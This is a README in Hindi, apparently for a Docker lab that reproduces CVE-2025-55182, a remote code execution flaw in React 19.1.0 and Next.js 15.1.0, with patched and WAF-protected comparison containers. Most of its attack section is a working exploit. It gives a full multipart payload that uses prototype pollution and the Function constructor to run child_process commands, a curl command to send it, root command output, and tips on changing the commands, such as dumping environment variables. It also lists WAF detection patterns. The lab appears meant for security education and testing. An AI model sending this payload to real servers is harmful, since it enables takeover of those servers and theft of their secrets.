Docker-आधारित परीक्षण प्रयोगशाला CVE-2025-55182 (React2Shell) RCE भेद्यता के लिए जो React 19.1.0/Next.js 15.1.0 में है। इसमें एक्सप्लॉइट स्क्रिप्ट्स, NGINX/ModSecurity के साथ WAF बाईपास परीक्षण, और सुरक्षा शिक्षा के लिए पैच किए गए संस्करण की तुलना शामिल है।
⚠️ चेतावनी: इसमें वास्तविक रिमोट कोड एक्ज़ीक्यूशन (RCE) कमजोरी शामिल है।
CVE-2025-55182 (React2Shell) कमजोरी परीक्षण के लिए कंटेनर परीक्षण वातावरण।
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
CVSS स्कोर: 10.0 (CRITICAL)
प्रभाव: रिमोट कोड एक्ज़ीक्यूशन (RCE)
प्रमाणीकरण आवश्यकता: नहीं
हमला वेक्टर: नेटवर्क
$1:__proto__:then के माध्यम से प्रोटोटाइप प्रदूषण$B उपसर्ग) के माध्यम सेchild_process के माध्यम से RCE// हमले के पेलोड की संरचना
{
"then": "$1:__proto__:then", // Object.prototype.then प्रदूषण
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Blob डीसीरियलाइज़ेशन ट्रिगर
"_response": {
"_prefix": "दुर्भावनापूर्ण_कोड", // निष्पादित करने का कोड
"_formData": {
"get": "$1:constructor:constructor" // फंक्शन कंस्ट्रक्टर तक पहुँच
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
सभी कंटेनरों के healthy स्थिति में आने तक प्रतीक्षा करें (लगभग 1-2 मिनट लगते हैं)।
Windows (PowerShell):
# विधि 1: PowerShell स्क्रिप्ट का उपयोग (अनुशंसित)
.\tests\exploit-working.ps1
# विधि 2: Node.js सीधे चलाएँ
node tests\exploit-working.js
### चरण 4: परिणाम जाँचें
सर्वर लॉग में कमांड निष्पादन परिणाम देखे जा सकते हैं:
```bash
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ अनुशंसितWindows:
# PowerShell स्क्रिप्ट (अनुशंसित)
.\tests\exploit-working.ps1
# या Node.js सीधे चलाएँ
node tests\exploit-working.js
निष्पादन सामग्री:
परीक्षण किए जाने वाले कमांड:
whoami - वर्तमान उपयोगकर्ता (root)hostname - कंटेनर होस्टनामpwd - कार्यशील निर्देशिका (/app)id - पूर्ण उपयोगकर्ता जानकारीuname -a - सिस्टम जानकारीnode --version - Node.js संस्करण# पेलोड फ़ाइल बनाएँ
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# हमला भेजें
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# लॉग निष्पादन जाँचें
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
हमला स्क्रिप्ट को संशोधित करके वांछित कमांड चलाए जा सकते हैं:
// exploit-working.js फ़ाइल में:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: 'एप्लिकेशन निर्देशिका सूची' },
{ name: 'env', cmd: 'printenv', desc: 'पर्यावरण चर आउटपुट' }
]
| पोर्ट | सेवा | React संस्करण | उपयोग | WAF स्थिति |
|---|---|---|---|---|
| 3000 | vulnerable-app | 19.1.0 | कमजोर - CVE-2025-55182 परीक्षण | ❌ कोई सुरक्षा नहीं |
| 3001 | patched-app | 19.1.2 | सुरक्षित - पैच प्रभाव सत्यापन | ✅ पैच किया गया |
| 8080 | nginx → vulnerable | 19.1.0 | WAF परीक्षण (NGINX) | ⚠️ सीमित (बॉडी जाँच नहीं) |
| 8081 | apache → vulnerable | 19.1.0 | WAF परीक्षण (ModSecurity) | ⚠️ सीमित (405 प्रतिक्रिया) |
| 8082 | nginx → patched | 19.1.2 | दोहरी सुरक्षा परीक्षण | ✅ पैच किया गया |
# कार्यशील हमला चलाएँ
node tests/exploit-working.js
# अपेक्षित परिणाम: कमांड निष्पादन सफल
# आउटपुट: उपयोगकर्ता जानकारी, सिस्टम विवरण आदि
Windows (PowerShell):
# PowerShell स्क्रिप्ट का उपयोग
.\tests\exploit-working.ps1 -Port 3001
अपेक्षित परिणाम: हमला विफल (React 19.1.2 हमले को रोकता है)
Windows (PowerShell):
# NGINX WAF के माध्यम से हमला प्रयास
.\tests\exploit-working.ps1 -Port 8080
अपेक्षित परिणाम: WAF नियमों द्वारा अवरुद्ध
स्थान: nginx/nginx.conf
पहचान पैटर्न:
__proto__, constructor:constructor$X:__proto__, $B संदर्भchild_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructorअवरोध क्रिया:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
स्थान: apache/modsecurity-rules.conf
नियम ID सीमा: 100001-100017
मुख्य नियम:
__proto__ पहचान# NGINX अवरोध परीक्षण
curl -X POST http://localhost:8080/ \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": true}}'
# अपेक्षित प्रतिक्रिया: HTTP 403
# ModSecurity अवरोध परीक्षण
curl -X POST http://localhost:8081/ \
-H "Next-Action: test#constructor" \
-d '{"data": "test"}'
# अपेक्षित प्रतिक्रिया: HTTP 403
# NGINX सुरक्षा लॉग
docker compose exec nginx tail -f /var/log/nginx/security.log